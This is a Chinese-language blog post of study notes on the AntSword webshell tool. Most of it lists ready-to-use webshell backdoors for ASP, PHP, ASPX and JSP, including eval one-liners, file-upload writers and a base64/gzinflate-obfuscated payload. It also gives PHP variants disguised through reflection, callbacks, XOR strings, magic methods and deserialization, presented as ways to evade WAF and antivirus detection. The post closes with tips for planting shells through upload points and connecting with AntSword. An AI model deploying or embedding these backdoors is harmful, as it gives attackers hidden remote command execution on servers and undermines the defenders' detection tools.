学习蚁剑

什么是一句话木马, 大马, 小马

各种webshell地址:https://github.com/tennc/webshell

webshell免杀解析:https://secvery.com/2105.html

蚁剑:https://github.com/AntSwordProject/antSword

哥斯拉:https://github.com/BeichenDream/Godzilla/

冰蝎:https://github.com/rebeyond/Behinder

首先它们都是webshell,初期webshell是留着给站长方便的,但是因为安全问题,它们不再被使用,而是被黑客用来连接服务器的后门。

webshell可以大致的分三类,一句话,小马,大马。

一句话木马

一句话木马是最简单的,它的特点是,只有一句话(一行代码),它可以被穿插进别的代码里,但是因为特征明显,所以一般都是经过各种变形,加密使用来绕过waf检测。

常见一句话木马

1
2
3
4
asp:              <%eval request(“KEY”)%>
php: <?php eval($_POST["KEY"]);?>
php: <?@eval($GLOBALS['_POST']['pass']);?>
aspx: <%@ Page Language=”Jscript”%><%eval(Request.Item["KEY"],”unsafe”);%>

小马

参考:https://blog.csdn.net/qq_44370676/article/details/111030358

小马就是比一句话多了点功能,加了免杀,过waf,自带编码或者加密解密

php小马

  • 直接调用:

    1
    2
    <?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>

  • 文件上传马:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    header("content-Type: text/html; charset=utf-8");
    ?>
    <?
    echo
    "</br>获取服务器IP地址: ".$_SERVER['HTTP_HOST'].
    "</br>获取服务信息: ".apache_get_version();
    ?>
    <form method="POST"></br>
    shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
    <br><br>
    <textarea name="text" COLS="70" ROWS="18" ></textarea>
    <br><br>
    <input type="submit" name="submit" value="保存">
    <form>
    <?php
    error_reporting(0);
    if ($_POST){
    $f=fopen($_POST["file"],"w");
    echo fwrite($f,$_POST["text"])? '保存成功!' : '保存失败!';
    }
    ?>
  • 反射类调用:

    1
    2
    3
    4
    5
    <?php
    $func = new ReflectionFunction("system");
    echo $func->invokeArgs(array("$_GET[c]"));
    ?>

  • 排序函数调用

    1
    2
    3
    4
    5
    <?php
    $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
    $arr->uksort('assert');
    ?>

  • 类混淆,魔术方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    class PNLK{
    function __destruct(){
    $FQHZ='xk%uoq-jg/P^Rw]'^"\x1b\x19\x40\x14\x1b\x14\x72\xc\x12\x41\x33\x2a\x3b\x18\x33";
    @$FQHZ=$FQHZ('',$this->PZAF);
    return @$FQHZ();
    }
    }
    $pnlk=new PNLK();
    @$pnlk->PZAF=&$_POST['test'];
    ?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    class Test
    {
    public function __toString()
    {
    $method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
    return '1';
    }
    }
    $a=new Test();
    echo $a;
    ?>

  • 类自定义方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    class Test
    {
    public function testing()
    {
    return function() {
    $method='sysatem';
    (substr($method,0,3).substr($method, 4))($_GET['arg']);
    };
    }
    }
    $a=new Test();
    $b=$a->testing();
    $b();
    ?>

  • 反射获取类注释:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    <?php
    /**
    * eva
    * l($_GE
    * T["c"]);
    * asse
    * rt
    */
    class TestClass { }
    $rc = new ReflectionClass('TestClass');
    $str = $rc->getDocComment();

    $evf=substr($str,strpos($str,'e'),3);
    $evf=$evf.substr($str,strpos($str,'l'),6);
    $evf=$evf.substr($str,strpos($str,'T'),8);
    $fu=substr($str,strpos($str,'as'),4);
    $fu=$fu.substr($str,strpos($str,'r'),2);
    $fu($evf);
    ?>

  • 反序列化:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    class Example
    {
    var $var = '';
    function __destruct()
    {
    eval($this->var);
    }
    }
    //$exp = new Example();
    //$exp->var = "phpinfo();";
    //die(serialize($exp));
    unserialize($_GET['saved_code']);
    ?>

asp小马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%eval request("sb")%>

<%execute request("sb")%>

<%execute(request("sb"))%>

<%execute request("sb")%><%'<% loop <%:%>

<%'<% loop <%:%><%execute request("sb")%>

<%execute request("sb")'<% loop <%:%>[code]
[code]<script language=vbs runat=server>eval(request("sb"))</script>

<%execute request("sb")'<% loop <%:%>[code]
[code]<script language=vbs runat=server>eval(request("sb"))</script>

%><%Eval(Request(chr(35)))%><%

<%eval request("sb")%>

<%ExecuteGlobal request("sb")%>

if Request("sb")<>"" then ExecuteGlobal request("sb") end if

jsp小马

1
2
3
4
5
6
7
8
9
10
11
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>


<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value="提交">
</form>


aspx小马

1
2
3
4
5
6
7
8
9
10
11
12
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%>
//Jscript的asp.net一句话


<%if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(Request["f"]) ); }%>
//C#的asp.net一句话


<% If Request.Files.Count <> 0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>
//VB的asp.net一句话

大马

功能丰富,但是不太容易过杀软,代码量巨多

随便找的php大马:https://github.com/Kevil-hui/BestShell/blob/master/best_php_shell.php

image-20210722151951986

本地演示蚁剑连接

先去web目录写个webshell,ifconfig确定ip

1
cd /var/www/html

image-20210722152639675

image-20210722152831034

蚁剑连接这个shell;右键添加数据,url填入这个shell所在的路径,填入连接密码,测试成功

image-20210722152942217

image-20210722153450727

对一句话webshell的思考

一句话木马想要成功连上服务器,必须要满足三点

  1. 服务器不能有waf、杀软,因为一句话木马的特征十分明显,是个waf都能扫出来杀掉。

  2. 知道webshell的绝对路径!

  3. 要拥有可执行权限!如果这个文件上传的位置是没有执行权限的,那么这个马就不会解析。比如有一次EDU SRC 挖掘。在某处文件上传,后端是php的,各种姿势绕过后终于上传成功,但这些路径下的文件不会被解析,访问会直接下载,这样就不能拿下shell。

一句话一般都是要配合绕过等,所以就出现了冰蝎这种动态二进制加密的内存马。

当然,服务器过滤规则千奇百怪,有时候冰蝎,哥斯拉连不上,免杀一句话却能连上。所以找到上传点可以多试试各种马,梭就完了。